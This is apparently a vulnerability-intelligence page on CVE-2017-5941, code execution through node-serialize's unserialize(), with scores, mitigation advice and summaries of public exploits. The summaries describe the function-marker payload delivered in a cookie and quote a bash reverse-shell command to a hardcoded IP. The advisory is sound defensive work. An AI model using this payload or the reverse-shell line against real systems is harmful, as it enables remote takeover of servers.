Skip to main content
Mallory
CriticalPublic exploitVulnerability

CVE-2017-5941: Arbitrary Code Execution via unserialize() in node-serialize 0.0.4

Published Feb 9, 2017 · Updated 1 month ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
CVSS9.8Critical · v3.1
EPSS61.3%99th percentile
CISA KEVNoNot listed
In the wildNonePublic exploit, no exploitation reported
Vendor
Node-Serialize Project
IdentifiersCVE-2017-5941CWE-94

CVE-2017-5941 is a vulnerability in the node-serialize package version 0.0.4 for Node.js. The vulnerability arises when untrusted data is passed to the unserialize() function, which can be exploited by supplying a specially crafted JavaScript object containing an Immediately Invoked Function Expression (IIFE). This allows an attacker to execute arbitrary code in the context of the application using node-serialize.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Analyst brief

Impact, mitigation & remediation

What it means and what to do now: patch path, interim mitigations, and the assume-compromise checklist.

Impact

What an attacker gets, and what they’ve been doing with it.

Successful exploitation allows remote attackers to execute arbitrary code on the server running a vulnerable version of node-serialize, potentially leading to full system compromise, data theft, or further lateral movement within the environment.

Mitigation

If you can’t patch tonight, do this now.

Do not pass untrusted or user-supplied data to the unserialize() function. Implement input validation and sanitization to ensure only trusted data is deserialized. Consider using alternative serialization mechanisms that do not allow code execution.

Remediation

Patch, then assume compromise.

Upgrade to a patched version of node-serialize that properly sanitizes input to the unserialize() function and does not allow execution of arbitrary code via IIFE or similar constructs. If node-serialize is not maintained, consider replacing it with a more secure serialization library.

Public exploits

Exploits

3 exploits validated by Mallory's analysis. Hidden: 1 rejected by Mallory's analysis as not a working exploit; 3 not yet analyzed, such as Exploit-DB entries.

View more in app →
RCE-NodeJsRepository contains a small PoC/operational exploit for `node-serialize` deserialization RCE (CVE-2017-5941). Structure: (1) README.md describes the vulnerability and defensive guidance, but the repo also includes working exploit code. (2) exploit.py is the primary exploit: it crafts a base64-encoded JSON object placed into a `profile` cookie. The JSON includes an `exec` field containing a node-serialize function marker `_$$ND_FUNC$$_` followed by JavaScript that, when deserialized, patches `http.ServerResponse.prototype.end` and runs `child_process.exec()` to execute a hardcoded bash reverse shell (`bash -i >& /dev/tcp/192.168.200.5/445 0>&1`). It then performs an HTTP GET to the hardcoded target `http://192.168.100.133:8000/` with that cookie. (3) exploit.js is a trivial placeholder printing "Hello World" and is not used for exploitation. Overall purpose: demonstrate/perform remote code execution against a Node.js web app that unserializes attacker-controlled cookies using vulnerable node-serialize behavior.f41k0n · Disclosed Oct 12, 2025 · python · javascript · network (HTTP cookie-based deserialization leading to RCE)OperationalCVE-2017-5941The repository contains a short README and one standalone Python 3 exploit using requests and standard-library JSON/base64 utilities. build_cookie() embeds JavaScript and Bash in a serialized object, placing a node-serialize function marker and immediately invoked function in the username field. main() checks connectivity, reports whether X-Powered-By contains Express, and then sends the base64 payload through a raw Cookie header. Express detection is informational and does not establish that node-serialize is present or vulnerable. Exploitation depends on application-specific cookie decoding and deserialization behavior, rather than a universal Node.js or Express endpoint. The payload attempts a reverse shell; it provides no persistence, privilege escalation, listener management, or reliable success verification. The supplied source is consistent with a functional exploit, although execution was not tested. No repository URL, git reference, or archive size was supplied; empty metadata strings and a zero size represent unavailable information.DLL00P · Disclosed Nov 16, 2026 · python · javascript · web · networkOperationalcve-2017-5941-poc-docker-labThis repository is a proof-of-concept (PoC) for CVE-2017-5941, targeting the node-serialize package (version 0.0.4 and below) in Node.js applications. The vulnerability allows remote code execution via unsafe deserialization of user-controlled input. The repository contains a minimal vulnerable Node.js application (in app/server.js) exposing two endpoints: POST /api/deserialize and GET /profile (using a Base64-encoded 'profile' cookie). Both endpoints pass untrusted data to node-serialize's unserialize() function, which executes any string value starting with _$$ND_FUNC$$_ as JavaScript code. The included Python script (poc_cve_2017_5941.py) automates exploitation by sending a crafted serialized payload to these endpoints. The default payload writes to /tmp/pwned.out on the server, while an alternative payload can open a reverse shell. The repository structure includes Docker files for easy setup, the vulnerable app, and the PoC exploit script. This PoC is intended for educational and self-assessment purposes only.kylew1004 · Disclosed Aug 10, 2025 · python · javascript · networkPoC
Exposure surface

Affected products & vendors

Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.

VendorProductType
Node-Serialize ProjectNode-Serializeapplication
FAQ

Frequently asked questions

Is CVE-2017-5941 exploited in the wild?
As of Oct 16, 2026, Mallory has no reports of CVE-2017-5941 being exploited in the wild. It is not listed in CISA KEV.
Is there a public exploit for CVE-2017-5941?
Yes. Mallory tracks 3 public exploits or proofs of concept for CVE-2017-5941, the earliest disclosed Aug 10, 2025.
Is there a patch for CVE-2017-5941?
Upgrade to a patched version of node-serialize that properly sanitizes input to the unserialize() function and does not allow execution of arbitrary code via IIFE or similar constructs. If node-serialize is not maintained, consider replacing it with a more secure serialization library.
What products are affected by CVE-2017-5941?
Node-Serialize Project Node-Serialize.
How severe is CVE-2017-5941?
CVE-2017-5941 has a CVSS v3.1 score of 9.8 (Critical) and an EPSS score of 61.3% (99th percentile) as of Oct 16, 2026.
Activity feed

Recent activity

No public activity tracked yet. Mallory keeps watching.

View more in app →

No public activity observed for this vulnerability.

Do you run this?See affected versions in your environment and whether adversaries are exploiting this vulnerability against assets like yours.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets are affected, which adversaries are exploiting it right now, and which detections to deploy tonight.
Exposure mappingQuery your assets running an affected version, and investigate the blast radius.
Threat actor evidenceEvery report linking this CVE to a named adversary.
Associated malwareMalware families linked to this CVE, with evidence and IOCs.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Vendor-by-vendor mappingCross-references every affected SKU, including bundled OEM variants.
Social activityCommunity discussion across Reddit, Mastodon, and other social sources.